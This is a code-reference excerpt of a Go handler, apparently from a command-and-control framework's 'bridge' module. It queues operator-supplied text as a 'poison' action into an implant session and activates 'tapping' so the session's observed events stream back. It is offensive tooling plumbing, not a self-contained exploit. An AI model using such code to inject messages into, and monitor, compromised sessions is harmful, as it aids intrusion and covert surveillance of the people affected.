Method Handle

internal/bridge/module_poison.go:17–53

(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite)

func (m *ChatModule) Name() string { return "chat" }

func (m *ChatModule) Handle(ctx ModuleContext, sessionID string, taskID uint32, spite *implantpb.Spite) {
	req := spite.GetRequest()
	if req == nil || req.Input == "" {
		ctx.SendSpite(sessionID, taskID, execSpite("missing chat text"))
		ctx.Tasks.Fail(sessionID, taskID, "missing chat text")
		return
	}

	msgID := sessions.GenerateCommandID()
	action := &sessions.PendingAction{
		ID:        msgID,
		TaskID:    taskID,
		Type:      sessions.ActionPoison,
		Text:      req.Input,
		CreatedAt: time.Now(),
	}

	if ctx.WaitForSession(sessionID, DefaultSessionTimeout) == nil {
		log.Errorf("[bridge] failed to enqueue chat message for session %s: session not found", sessionID)
		ctx.Tasks.Fail(sessionID, taskID, "session not found")
		return
	}

	if !sessions.Global().EnqueueAction(sessionID, action) {
		log.Errorf("[bridge] failed to enqueue chat message for session %s", sessionID)
		ctx.Tasks.Fail(sessionID, taskID, "enqueue failed")
		return
	}

	log.Infof("[bridge] enqueued chat task %d msg %s for session %s", taskID, msgID, sessionID)

	// Activate tapping so subsequent observe events are streamed back.
	ctx.TappingSet(sessionID, taskID)
	log.Infof("[bridge] tapping activated for chat session %s (taskID=%d)", sessionID, taskID)

	ctx.Tasks.Complete(sessionID, taskID)
}